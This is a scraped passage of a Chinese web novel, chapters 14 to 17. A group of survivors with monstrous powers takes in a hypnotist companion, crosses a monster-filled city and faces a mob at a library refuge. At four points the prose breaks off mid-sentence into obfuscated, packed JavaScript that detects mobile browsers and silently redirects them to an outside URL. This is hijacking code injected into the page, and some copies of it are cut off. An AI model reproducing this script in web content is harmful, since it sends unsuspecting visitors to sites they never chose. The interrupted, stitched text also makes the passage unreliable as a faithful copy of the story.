眼看黎望舒似笑非笑地望过来,他颈间瘀伤隐隐作痛,立刻抛出了最后的筹码:“其实,我有不得不与人同行的理由。” “说来听听?” “我的催眠能力有很大的缺陷,使用的时候,一旦超过某个临界点,就会昏迷过去,任人宰割。”说着,他意有所指地瞟了眼郁仪,“而且,如你们所见,并不是对每个人都生效。” “嗯……我没有其他问题了。”黎望舒点头。 闻风藻眼睛一亮,还没来得及高兴,黎望舒的下半句话就将他重新打回了谷底—— “抱歉,我不能让你跟在我们身边。” 此话一出,不说杜蕊吃了一惊,连远处的郁仪都投来了疑惑的视线。 “为什么!”闻风藻难以置信地抬头,面容微微扭曲,“该说的我都说了,没有半句假话!” 和之前的虚伪笑容不同,此时他脸上的绝望看起来十分真切。黎望舒略有些不忍地移开视线,定了定神,重新硬下心肠:“我相信你没有说谎,但你叙述时表演痕迹太重,总是将关键的部分含糊了事,并不算坦诚。” “……你的意思是,让我对着一个刚认识不到一天的陌生女人,毫无保留地敞开心扉、说出自己难堪的一切?”这要求太过荒谬,闻风藻气得笑出了声,彻底撕下了温文尔雅的面具,“换作是你,你能做到吗?” “对不起,我明白这是在为难你。”黎望舒低声说,“但我也有我的底线,仅凭同情心就将一颗底细不明的定时炸弹放在身边,威胁身边人的安全……我无法接受。” 闻风藻低垂着头,急促地喘息着,双拳捏得死死地,似乎被气得不轻;黎望舒无意再与他交谈,转身催促另外二人:“都收拾好了吗?准备出发了。” 她正准备离开,身侧的背包带子却猛地被人拽住了。 “等等……等一等!”这一声呐喊急得破了音,但闻风藻却浑然未觉,只顾紧紧攥着手里的带子,双眼通红地盯着黎望舒,面色惨白,浑身发颤,一副被逼到极限的模样,“我、我不是故意的,我这个人就是这样的,总是忍不住夸大自己的情绪……我没有说谎,拜托了,再问我一次,这次我一定毫无保留!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794253|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黎望舒有些无奈:“不必执着于我们,你总会遇到更适合你的同伴。” “不会的,不会再有这么好的机会了。”他眼角滑下一滴泪,哽咽着将心中的想法全倒了出来,“我能看出来,你们很强大,有足够的底气,所以不屑于利用我这种小角色……我很害怕,我的能力没那么强,一个人肯定活不了多久,也不想再孤独下去了。只有跟着你们,我才能安心地活下去,所以之前才用了些手段。” 见黎望舒依然沉默不语,闻风藻喘息得愈发艰难;突然,他想起了什么似的,抓起手电筒,奔向地下卖场的另一头,一通翻找后,将一架紧贴墙壁的衣柜推开——衣柜后面赫然藏着一扇双开铁门,门上又挂着一把银色小锁。 “这扇门后面就是仓库,里面全是食物和水,那群人走之前特意将它藏起来了!”他指着门,声音颤抖着,“这是我最后的秘密了,我已经……什么也不剩了。” 黎望舒指节捏得发白,刚要狠下心拒绝,胳膊突然被人抱住了,一道温热的气息凑近耳边:“望舒,你是在担心我,对吗?” 她低下头,对上了杜蕊晶亮的眼眸。 “你和郁仪都有足够自保的力量,只有我还停在原地,总是等着你来保护……但没有什么人是生来就该做弱者的,对不起,是我太懦弱了。从现在开始,我会变得更坚强,努力锻炼自己的。”杜蕊憋着泪,声音压得极低,“所以不要再勉强自己了,你明明不是个心如铁石的人,看着你这样折磨自己,我心里难受得要命。” 郁仪微微一怔,盯着杜蕊皱起眉头。 “小蕊……”黎望舒闭了闭眼,“我明白了。” 杜蕊放开了手,她抬步走向闻风藻,在他面前蹲下,直视着他的双眼:“剖开自我,对你来说是一件痛苦至极的事吧。” 闻风藻指尖一抽,红着眼睛移开了视线。 “刚才的事是我不对,我道歉。”黎望舒缓声安抚他的情绪,“但你要想清楚,将自己的一切摊开过后,是否还能毫无芥蒂地与我们相处。” “你的意思是……”听出了她未尽的意思,闻风藻猛地抬起头,触到她泛着柔光的琥珀色瞳孔,不由得屏住了呼吸,心跳仿佛都漏了一拍。 “只是同行的话,我们可以带你一起走,如果遇到了更好的选择,你也随时可以选择离开。”黎望舒顿了顿,又补充道:“路上……我会尽力保证你的安全。” 跳出了急于护短的思维模式,再去回想刚刚自己的所作所为,好像确实很过分……她难得有些心虚,试图在其他方面弥补自己的过失。 “没、没关系,我可以的!”怕她反悔似的,闻风藻擦去下巴上的泪珠,立刻表态,害怕她认为自己心不诚,结结巴巴地又补了一句,“我会尽力克服的,请让我……跟在你身边。” 郁仪额角青筋一跳,生出了一股不祥的预感。 黎望舒伸出手,将满面通红的闻风藻从地上拉了起来,“那么,欢迎你加入。” 15. 第 15 章 “哇,下雪了!” 天光透过朦胧晨雾,稀薄地照下来,雪粒轻盈地打着转飘落而下,落在杜蕊通红的掌心里,转瞬间化成了水珠。 “来山城这么久,我还是头一次见雪。”她兴奋地仰起头,“会不会积雪啊,好久没堆雪人了。” “不好说。”黎望舒说,“这雪看起来不大,应该积不了多少。” “那样最好,我讨厌下雪,又冷又麻烦。”闻风藻落在最后,背着登山包,艰难地爬上楼梯,喘着气抱怨。 ——地下卖场里有个体育用品专门店,洗劫一番后,黎望舒几人都换上了容量更大的登山包;杜蕊更是放弃了羽绒服,换了身轻便又抗冻的专业冲锋衣。 “什么!”杜蕊惊讶道,“你们学美术的遇到这种情形,不是应该艺术细胞大爆发,先吟诗一首,再把画板搬出来大画特画吗?” “……你这是哪门子的刻板印象。”闻风藻皮笑肉不笑地吐槽,“雪只会把画板和衣服头发全打湿,我动笔前也不吟诗。” 杜蕊也不恼,没心没肺地哈哈一笑,回头望了眼阶梯下的黑暗,肉痛道:“真的不把仓库藏一藏吗?就这样敞着,下次再来的时候恐怕什么都不会剩了……” 为了补充物资,郁仪劈开了仓库的双开铁门,里面如闻风藻所说,是个小型仓库,成箱的速食零食饮料一直摞到了天花板,看得杜蕊两眼放光;将背包装满后,黎望舒没去管残破敞开着的仓库门,直接转身离开了。 “短时间内,我们不会回到这里了,与其让物资在地下室里受潮发霉,不如留给过路人。”黎望舒笑了笑。 “好吧……”杜蕊长长地叹了口气,迈开脚步。 “说起来,我还不知道你们要去哪里。”闻风藻摸了摸后脑勺。 “稍微有点远,去江城,杜蕊的老家。”黎望舒纠正他,“而且,不是‘你们’,而是‘我们’,你也要一起去的。” 闻风藻一怔,手指收缩,下意识揪起脑后的松软头发,心中又掀起一阵波澜。 “其实,我真的没那么想回去……对了,小闻,你有什么想去的地方吗?”杜蕊没得到回应,转头看去,却发现闻风藻正愣愣地直视着前方,于是不满地伸手在他面前晃了晃,“喂,你怎么不听人说话啊。” “抱歉,你说什么?”闻风藻回过神来。 “我问你,有没有什么想去的地方。”杜蕊重复,“不觉得江城离这里太远了吗?要是有新的目的地,就不用跑那么远了。” “没有。”闻风藻语气平淡,不知想到了什么,眼神倏地游移起来,面色染上一层薄红,“远一点……不也挺好的?” ——然而,没过多久,他美好的幻想就被自己掐灭了。 “太、太远了……要一直这样走到天黑吗?” 闻风藻拄着登山杖,背上的登山包沉重地压下来,双腿灌了铅似的,控制不住地打颤,走得上气不接下气。 昔日繁华喧嚣的城镇中心,如今已经见不到人类的身影,只剩下冰冷高楼与四处游荡的怪物,马路被凝滞成串的汽车塞得严严实实。 几人只能在车辆间的空隙中艰难穿行,经过车窗时还要提起心仔细观察,以防被里面钻出的怪物扑个正着。 看着前面摇摇晃晃的瘦削背影,杜蕊小声感叹:“真没想到,在体能上,居然还有比我更弱的人存在。” 从前他在画室里一窝就是一天,画得上头时,连吃饭都会忘记,哪有心思锻炼——闻风藻口中苦涩蔓延,只顾得上喘气,连反驳的话都说不出来,头一回为自己的懒惰感到后悔。 “这附近怪物太多,再坚持一下,走出市中心就可以休息了。”黎望舒将面前的一截断臂塞回车厢里,触手绞碎从车底钻出的怪物,回头忧心忡忡地问,“饿了三天,还没恢复过来吧,要我帮你提包吗?或者我拉着你走?” 闻风藻眼睛一亮,刚要答应,身后传来了郁仪泛着冷意的声音:“还是我来吧,同性之间互相帮助更方便。” “行,那我去后面。”黎望舒没多想,答应下来,挥着触手向队伍末尾退去,“小蕊,累不累,我帮你提包?” “哎呀,我好不容易决定了要自己多努力,别动摇我的决心啦!” 从闻风藻身边走过,郁仪抬起下巴,淡漠地瞥了他一眼:“走不动了?” 听出了他话中的讽意,闻风藻一个激灵,握紧登山杖,挺直背脊,冷笑着瞪了回去,“还好。” “那就跟上。”与时不时停下来等他的黎望舒不同,郁仪冷冷地扔下一句话后,便大步向前走去,手中长剑不时刺出,将藏在阴暗中的怪物斩落。 望着他的背影,闻风藻一咬牙,不知从哪又冒出了一股力气,抬起沉重双腿跟了上去。 “哇塞……妙手回春啊。”身前一下子空出一段距离,杜蕊愣了一下,连忙也迈步追上去。 当他们终于走出车辆长龙、踏上宽阔街道时,闻风藻已经累得双腿发软,瘫倒在地,一步也走不动了,好在附近车辆很多,黎望舒很快就找到了一辆能开的车。 简单吃了顿午饭,将闻风藻拖进车厢后,一行人接着向江城的方向进发。 杜蕊一路都硬撑着,不肯接受她的帮助,独自背着包挺了过来,也累得不轻,没过多久就耷拉着脑袋睡着了,头顶沾着的雪花融化,将她的头发浸得有些湿润。 黎望舒微微低头,凝视着她无知无觉的样子,低声开口:“一开始的时候,明明是我先把武器塞到她手里,告诉她不能依靠任何人的。” 郁仪握着方向盘,瞥了眼副驾睡得不省人事的闻风藻,轻轻“嗯”了一声,表示自己在听。 “但不知不觉间,我又忍不住想去保护她、控制她、想让她的一切都在我的掌控之下。”黎望舒闭上双眼,“我差点害了她。” “想要保护重要的事物,是人之常情。”一如往常,郁仪语气平静,“比起他人灌输的想法,自己悟到的东西往往更坚实,不必担心,她已经找到了答案。” “但就像看着孩子远去的父母一样,虽然明白该为她骄傲,但心里难免寂寞。”很快地从失落的情绪中抽离出来,黎望舒略一挑眉,“不过,我还是头一回听你说杜蕊的好话,怎么,听了那番话,对她改观了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794254|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我承认,以前对她有误会,我会找个机会向她道歉。”出乎她意料地,郁仪承认得干脆利落,“但人是会变的,防人之心不可无。” “那你呢?”黎望舒笑了,“你也会变吗?” 郁仪一怔,视线对上后视镜里含笑的琥珀色瞳孔,呼吸骤然一乱,方向盘没把稳,车轮轧上路边的凸起,颠簸了一下。 “怎么了?!”杜蕊惊醒,手忙脚乱地捞起消防斧,转头看向窗外,“有怪物追上来了?” “没事,接着睡吧。”黎望舒笑着拍了拍她的头。 “我在梦里被怪物追了八里地,太吓人了……咦?”杜蕊发现了什么,指向窗外,“望舒,你看那边,好像有人。” 黎望舒打了个手势,示意郁仪停车,眯眼顺着杜蕊手指的方向望去——透过楼房之间的缝隙,能看到另一侧的街道上有一群男人,穿得破破烂烂,个个身材壮实,手持利器围在一辆卡车旁边,正在与怪物缠斗。 “看样子,他们还能应付。”看了两眼后,她便失去了兴趣,“我们走吧,尽量少管闲事。” “那换我来开车吧。”一觉醒来,杜蕊又回满精力,变回了活蹦乱跳的样子。 他们这番折腾动静不小,但也许是昨晚一夜没睡的缘故,副驾上的闻风藻还沉沉地睡着。 郁仪坐在黎望舒身边,双膝合拢,抱紧长剑,乌黑马尾在肩上散开,一副拘谨的模样;看他这样,黎望舒心中好笑,指尖又有点发痒。 郁仪指尖用力地按在剑鞘上,目光投向哪里好像都不自然,只好望向窗外;但窗外天色灰沉,雪粒细小得难以观测,掠过的尽是些单调的低矮楼房,他静不下心,脖颈也酸痛起来。 只看一眼的话……应该没问题。 心里这样想着,郁仪悄悄转过头,向身侧望去,却径直对上了黎望舒的琥珀色眼眸,一时间瞳孔巨震,耳根又攀起热度。 “你、你为什么……”浑身的血液仿佛都在升温,郁仪结结巴巴地张口,触到她玩味的神情,又陡然冷却下来,将后面的话吞了回去,心中甜蜜与苦涩杂糅,懊恼地移开了视线。 她的眼神带着居高临下的兴味,郁仪忍不住去想,在现在的她眼中,自己究竟是什么样的存在——朋友?伙伴?一柄好用的利剑?或是……闲来无事逗弄一下的小宠物? 无论哪个,都不是他想要的答案。 但回想起她微弯的杏眼,一切仿佛又没那么重要了,只要还能待在她的身边—— “砰。” 突然,随着一声枪响,车头前的地面上激起了一簇尘土,杜蕊倒吸一口冷气,转动方向盘,掉头向后退了一段距离。 脑中的旖旎瞬息间被扫除,凭借过人耳力,郁仪找到了声音的源头,凝眉望去——远处一座大型建筑物的二楼,一个头发斑白的中年人站在围栏边上,手中端着□□,远远地朝这边眺望;底下的双开大门中走出几个肌肉壮汉,手中或是拎着棍棒,或是提着长刀,慢悠悠地围了上来,一副底气十足的样子。 又是劫道的? “稍等。”黎望舒面色一冷,提起撬棍,“我去去就回。” 16. 第 16 章 宽阔的马路上,几个凶神恶煞的彪形大汉围在路边,簇拥着中心手持猎枪的中年男子,虎视眈眈地盯着不远处的黑色越野车。 雪花纷纷扬扬地从空中飘落,灰白云层遮住阳光,阴沉沉地压在头顶,紧张气氛里,仿佛连空气都变得稀薄,无端地叫人呼吸困难。 黎望舒甩上车门,朝前走了两步,眯起眼睛,视线穿过细碎雪幕,锁定了后方的高大建筑物——这是今年刚建成不久的市民图书馆,她和杜蕊一起,在这里办过借阅卡。 郁仪和闻风藻紧跟着也下了车,杜蕊抖着手从座位下方抽出一把黑色手枪,打开保险后,深吸一口气,拉开车门,也踏了出去。 身后传来几道脚步声,黎望舒没有回头——她望向那个两鬓斑白、首领似的男人,斟酌了一番语气,温和地开口:“我们只是路过,无意打扰各位,能不能放我们离开?” 说话间,她表面姿态闲适,目光却一直锁在他手中的□□上,手臂肌肉紧绷,裙下的触手也蓄势待发。 对方那一枪像是一个警告,虽然现在放下了枪口,看起来没有继续攻击的意思,但黎望舒不敢放松警惕,只需一个念头,她的触手就会瞬间刺出,将那枪管连同搭在其上的手臂一起绞碎。 战斗必定伴随着危险与意外,为了身后的同伴着想,能避则避,实在避不开的话,她也不会手软。 白发男人这才抬眼看向对面四人,目光略过发问的黎望舒,扫过两个身材瘦削的男人,最后在杜蕊手中的手枪上微微一凝,看清了她可笑的握枪手法后,从鼻子里发出了一声嗤笑,“你们几个——” “等、等一下!” 远处传来一声上气不接下气的高喝,打断了白发男人的话——他肩膀一抖,略带心虚地转头看去。 黎望舒跟着他的视线望去,只见远处的图书馆中跑出了一个修着齐耳短发的年轻女人,鼻梁上架着一副方框眼镜,怒气冲冲地瞪了白发男人一眼,目光在黎望舒的拖地长裙上停滞一瞬,陪着笑招呼四人,“误会,都是误会,不好意思啊,给你们添麻烦了。” “邓华,你别胡闹!”白发男人面上挂不住,“我干正事呢!” “你才是别添乱了!说了多少遍,遇到陌生人的时候要好好说话,知道我为了给你擦屁股,花了多少功夫吗?”名叫邓华的短发女人竖起眉毛,立刻便压制住了白发男人的气势,回过头来时,脸上堆起笑容,“他这人心是好的,但做法确实不太合适……各位别放在心上,咱们去里面坐着聊吧。” 稀里糊涂地,四人被热情地迎进了图书馆中。 刚一踏进门内,黎望舒就被馆内喧闹的人声震撼到了——图书馆共有三层,每一层的栏杆边上都挤满了黑压压的人头,听到动静,都伸着脖子往下看,仿佛整个山城消失的人都聚集到了这里似的。 “这、这是怎么回事啊……”杜蕊捂住嘴,难以置信地小声惊叹。 闻风藻抬手捂住脸,面色发青,“就像节假日限时促销的商场一样……我晕人了。” “哈哈,不好意思,吓到你们了吧。”邓华苦笑着将四人引到一个无人的房间里,朝黎望舒伸出右手,“还没自我介绍,我叫邓华,从前是个记者,现在……勉强算是这里的管理人吧。” “你好,我是黎望舒。”对邓华自然又不失距离感的态度心生好感,黎望舒轻轻握上她的指尖,身后的三个同伴也一一报出了自己的名字。 “这是我父亲邓伯同,这里大多数人都是他亲自开着卡车,从怪堆里一个个救回来的。”说着,邓华扯了扯白发男人的胳膊,恨铁不成钢道,“伸手啊。” “哼,杀了点不堪一击的怪物而已,有什么好夸耀的。”邓伯同冷哼一声,面色沉沉,不情愿地冲唯一看起来有点样子的佩剑小伙伸出了手,但眼前一花,握上来的却是那个打扮古怪、一脸笑眯眯的小姑娘——他双目一瞪,正要发火,手上猛地传来了一股巨力,捏得他手骨“喀拉”一响,五官都痛得微微扭曲。 “以貌取人可不好。”黎望舒微笑着加大了手上的力气,一字一顿道。 邓伯同强忍着没痛呼出声,见了鬼似的抬起头,头一回正眼打量面前的女孩——细细一看,才发现她虽然看起来瘦弱,但穿得极单薄,无知无觉似的,在寒风中依旧行动自如。 难不成……遇上真正的隐世高人了? 他心中肃然起敬,瞥了眼旁边郁仪腰上的长剑,咳嗽一声,有心说些什么来挽回自己的形象,但一张黑脸憋得通红,也没能憋出半个字来,只好悻悻地转身离开。 注意到黎望舒带着歉意的目光,邓华爽朗一笑:“别介意,我早就盼着人来削一削他的顽固劲儿了。” “他以前当过兵,几年前才退下来,骨子里还是那套强者为尊的行事法则,还死要面子……有时候,连我也受不了他的倔劲儿。”邓华无奈苦笑,“但没办法,谁让他是我爸呢。” 黎望舒点头,表示理解。 “虽然不好相处,但他本性不坏,想救人的心也是真的,拦下你们,估计是觉得你们年轻,想把你们保护起来。”邓华叹了口气,“说实在的,我很佩服他这份心,但人一多起来,麻烦事也一天比一天多,根本管不过来。” “那还真是不容易。”黎望舒平静道,“抱歉,我们只是路过,恐怕帮不上忙。” “哎呀,别急着下结论嘛。”邓华笑着说,“实不相瞒,我们手里掌握着一个大型食品仓库,短时间内不用为食物发愁,又有这么多的人手,所以打算在这里建立一个临时基地,只等兄弟们把材料拉回来就能开始建设了,非常欢迎像各位这样有能力的人加入……” “不必了,我们另有目的地,不打算在路上停留。”黎望舒笑容淡下,打断了她滔滔不绝的介绍。 “当然,我没有强行让各位留下的意思。”邓华见好就收,圆滑一笑,“只是天色不早了,野外太危险,这附近地形开阔,晚上也有人负责守夜,非常安全,各位不如在这里休息一晚,天亮了再出发。” 不忍再三拒绝她的好意,黎望舒与同伴们交换眼神,点头答应下来。四人离开小房间,在大厅里找了个人少的角落,席地坐了下来。 看够了热闹似的,原先挤在围栏边上的人们都缩了回去;但吵闹声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794255|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧没有停歇,大大小小的哭声、笑声与谈话声混杂在一起,不时还能听到婴儿尖锐的哭闹与母亲温柔的轻哄。 “好久没见过这么多人了,有种终于回到人类社会的感觉。”杜蕊忍不住四处张望,闻风藻则恹恹地窝在书架旁,有什么顾虑似的,拿了本书挡住脸,眼神不时往周围扫去。 “雪下得越来越大了。”郁仪皱眉望向窗外。 ——也许是天气不佳的缘故,今天天黑得格外早,黑沉云层低低地压下来,鹅毛似的雪片纷然飘落;暮色里,邓伯同冒雪和一群壮汉在空地上操练,不时张口大吼出声,突然,口中进了雪似的,又低下头呸了几下。 “真是的,他怎么就是闲不下来,大雪天还往外跑!”邓华端着托盘走过来,顺着黎望舒的视线,看到了外面的邓伯同,“稍等一下,我先去把他叫回来。” 她放下托盘,风风火火地跑出去了,不一会儿就出现在了窗外,拽着邓伯同的胳膊将他往里拖,旁边几个大汉都笑呵呵地看着他们父女俩。 “哇,是苹果。”杜蕊凑到托盘旁边,惊喜道,“正好四个。” 她刚想伸手去拿,手腕就被黎望舒捏住了,“别随便吃陌生人给的东西。” “啊……说得也是。”杜蕊一下子把手缩了回去,警惕地盯着托盘,片刻后,“咕咚”一声,没出息地咽了口唾沫。 ……尽管那几个苹果形状有些不规整,比不上以前超市里售卖的精品苹果,但胜在表皮红润,看起来汁水十足,对于啃了两天干涩饼干的杜蕊来说,极具诱惑力。 “哎?你们怎么不吃啊。”邓华拍了拍衣服上的雪,抬头愣了一下,迅速反应过来,不好意思地笑了,“……是我想得不够周到,现在这世道,的确不能轻信他人。” “我没有别的意思,只是水果放不了太久,与其看着它们坏掉,不如拿出来招待朋友。”她随手拿起一个苹果咬了一口,一边咀嚼,一边自来熟地坐下,闲话似的提起,“刚刚外面那几个人,是我爸以前的战友和后辈,身手都很不错,有他们守夜,今晚就放心睡吧。” 黎望舒客气地向她道谢,心中一片明镜——又是送水果又是陪聊,邓华果然还存着招揽他们的心思。 “邓小姐以前是记者?”杜蕊好奇地向她搭话,“那岂不是能听到很多明星八卦!” “不用那么生分,直接叫我名字就好。”邓华笑着推了推眼镜,“但要让你失望了,我不是娱乐记者,见不到明星,大部分时候都被外派在战乱地区。” “您是战地记者?”闻风藻来了精神,稍稍坐直了些,“明明这么年轻,真了不起。” “唉……干我们这一行的,聚少离多,总是让家人承受寂寞。”邓华看向大厅里梗着脖子与人吵架的邓伯同,无奈摇头,“这次也算运气好,我刚好在休假,才能和老爸待在一起。要是将他一个人留在国内,不知道会捅出多大的篓子来。” 她盯着手里的苹果,动了动嘴唇,还想说什么;但头顶骤然炸开了一声大吼,让整个图书馆都躁动起来—— “底、底下那个人是怪物啊,快把他赶出去!” 17. 第 17 章 如同平地响起一声惊雷般,图书馆内部静了一瞬,复又掀起了一阵波澜—— 幸存者们大部分还沉浸在恐惧与不安中,此刻被“怪物”二字一激,纷纷无头苍蝇似的,一边尖叫,一边向楼上挤去,邓华与几个汉子废了九牛二虎之力,嗓子都喊哑了,才勉强终止了这场混乱。 “刚刚那一声是谁喊的?”邓华干咳两声,恼怒地抬头,“给我出来!” 从二楼传来一阵隐隐约约的争论,片刻后,一个身材娇小的年轻女孩被推了出来——她眼下有一块乌青,犹豫着回头望了一眼,不知听到了什么,眼中一下子蓄起一汪泪,磨磨蹭蹭地走到护栏边,对上邓华镜片后不善的目光,又打了个哆嗦,“是、是我……” “我怎么记得,之前听到的是个男声。”见她支支吾吾地不敢出声,邓华双眼一眯,回头叫了两个壮汉,就要往楼上走去。 “哎,邓姐,别那么较真啊。”娇小女孩身后走出了一个高大男人,一把捞过她的肩膀,笑着说,“小水是我女朋友,我的意思就是她的意思……你说对吧?” 他搭在女孩肩膀上的手微微用力,名为小水的女孩敢怒不敢言,立刻小鸡啄米似的点头。 “唐超虎,又是你。”邓华拧眉,“上次警告过你,再捣乱就把你丢出基地,你应该没忘吧。” “为基地揪出危险分子,怎么能叫捣乱呢。”唐超虎面上浮出戾气,“楼底下的确有个恬不知耻、伪装成人类的恶心怪物,妄图混入基地,小水,你去把他指出来!” 小水泪流满面,手指颤巍巍地抬起,众人的目光顺着她手指的方向,聚集到了闻风藻的身上——他面色苍白,双眸抬起,直视着唐超虎,对这个结果毫不意外。 “开什么玩笑。”邓华气笑了,“他哪里像怪物?” 黎望舒神色冰冷,单手撑地,站了起来,袖子却突然被拉住了。 “……”闻风藻薄唇紧抿,轻轻冲她摇了摇头。 “我们几个都亲眼见过,这小白脸袖子里头有两条触手——那可是触手啊,和外面那些吃人的凶残怪物一模一样!”唐超虎得意地哈哈大笑,“你们看,他心虚得都说不出话来了!” 众人疑虑的目光层层压在身上,闻风藻缓缓抬眸,微微下垂的桃花眼中泛着水光,开口时声音带着一丝颤抖:“虎哥……不,唐超虎,我是不小心得罪过你,但有必要做到这个地步吗?” “啊?”唐超虎不明所以,一脸凶恶地瞪着他,“什么得罪不得罪的,你个小白脸,老子早就看你不顺眼了!” “把我反锁进小黑屋还不够吗?居然用这么肮脏的手法诬陷我……”闻风藻低下头,露出白皙的脖颈,看起来可怜又脆弱,“要不是黎姐偶然路过救我出来,我就要被活活饿死在那个房间里了。” “那又怎么样,你活该,因为你是个怪物!”唐超虎懒得听他长篇大论,转而对黎望舒吹了个口哨,“小美女,长点心,别被这小白脸骗了。” 黎望舒压制着身下蠢蠢欲动的触手,表情冷淡,眼皮也没抬一下。 ……既然闻风藻有办法应对,那就交给他去做,自己只负责在一切结束之后,悄悄拧断那人的脖子,让他再也说不出半句惹人厌烦的话。 “你凭什么这样说!”闻风藻猛地抬起头,双目通红,“有证据吗?” “证据就在你身上!”唐超虎抓住栏杆,身体前倾,面目狰狞,将一旁看热闹的人吓得后退两步,“邓姐,把他的衣服扒掉,触手就藏在袖子下面!” “够了——”邓华被吵得头疼不已,刚要出声打断,就见闻风藻气疯了似的,一把甩下外套,又扯开底下的衬衫,丢在地上。 “我脱了,然后呢?”他抬头直视目露惊色的唐超虎,嘴角勾起一抹讽笑,“你口中的触手在哪里?” 耳边响起窃窃的议论声,如他所料,众人开始对他投来同情的目光了,闻风藻轻轻舒了口气——还好之前留了个心眼,没让他们知道,自己可以自由控制触手……这个蠢货,真是不见棺材不落泪。 “这、这不可能,我明明看见……” “各位,这家伙可是个不把人命放在眼中的霸凌惯犯,今天被诬陷的是我,明天死的是她——”闻风藻打断了他,先是抬手指向小水,接着又一挥手臂,“后天就该轮到你们了!” “你疯了!”唐超虎的声音回荡在寂静的图书馆内——他猛地一激灵,转头望去,身后的同伴不知跑去了哪里,身边人投来的尽是冰冷的目光,他心中陡然升起一股不详的预感。 “……把他赶出去!”突然,不知从三楼的哪一个角落里,冒出了一句高喊。 “不能让这种害群之马留下,把他赶出去!”下一个瞬间,一楼也响起了几声应和。 “赶出去!赶出去!赶出去!”着了魔似的,越来越多的人高举手臂,融入了整齐的呐喊中,声浪越掀越大,几乎要将天花板掀出一个大洞。 杜蕊刚开始还紧张兮兮地握着口袋里的手枪,随着风向的转变,无意识地松开了手,目瞪口呆地看着狂热的人群,喃喃道:“我的天哪……” ——就在所有人都以为,尘埃已经落定时,面色发白、呆立在声浪中的唐超虎突然反应过来,面色一狠,手撑上栏杆,竟然从二楼翻了下来,捏着拳头向闻风藻冲去。 四下响起惊呼,拳风转瞬间便到了面前,闻风藻后退半步,咬牙忍下伸出触手的冲动;就在他闭上双眼,准备生生接下这一击时,斜里伸出一只纤细的手,精准地捏住了唐超虎的脖颈——黎望舒拇指压在颈动脉上,微微用了些力,唐超虎便白眼一翻,昏死过去。 “……唉。”邓华头痛地叹了口气,使了个眼色,几个壮汉瞬间会意,拿着绳子冲上前去,将瘫软在地上的唐超虎五花大绑。 “喂,没事吧?”见闻风藻还立在原地,黎望舒捡起地上的衣服递给他——明明扳倒了仇人,但他看起来却一点儿也不欣喜,反而耷拉着肩膀,呼吸急促,面色难看。 “……谢谢。”他回过神来,接过衣服穿上,低声道谢,回到书架背后,脱力似的滑坐在地上,在愈发狂热的声浪里闭上了双眼。 “那个叫什么虎的家伙要被丢出去了,你报仇了,不高兴吗?”杜蕊堵住耳朵,高声问他。 “有什么可高兴的,一步踏错,被丢出去的就是我们了。”闻风藻面上的脆弱消失不见,取而代之的是深深的疲惫与漠然,他冷眼看着栏杆边上跃动的人头,冷笑道:“人们渴望发泄,所以一点微不足道的引导,就能牵动他们的情绪,生出狂热,哪怕对象换成我们也一样……真是令人作呕。” “你说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794256|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”周围噪声太大,杜蕊一个字也没听清,扯着嗓子又问,“大声点!” 闻风藻不耐烦地移开视线,忽然对上了黎望舒清透的瞳孔,面色一滞,下意识扯出一个温和的假笑。 他的话,黎望舒一字不漏地听得清楚,但此刻她顾不上去开导别人,视线焦灼地投向窗外——头顶上的云层浓得发黑,鹅毛雪片飘下,地面上已经积起了一层薄雪,远处的黑暗中,仿佛有什么异物在涌动,令人毛骨悚然。 ……不知从何时开始,她胸口袭上一股强烈的不安,像把小锤似的,不断在心头敲击着,随着时间的流逝逐渐加重,让她生出了一股夺门而出、逃得越远越好的冲动。 但夜色已深,在纷扬雪幕的遮挡下,能见度极低,地面恐怕也因结冰而变得光滑难走,非常危险;仅凭她无凭无据的预感,就在这样艰难的情况下出发……再怎么想,同伴们都不会答应的。 “怎么了?”郁仪察觉到了她的情绪,轻声询问。 “……”黎望舒眉头紧锁,手指扣在窗沿,感性与理智不停碰撞纠结,迟迟无法下定决心。 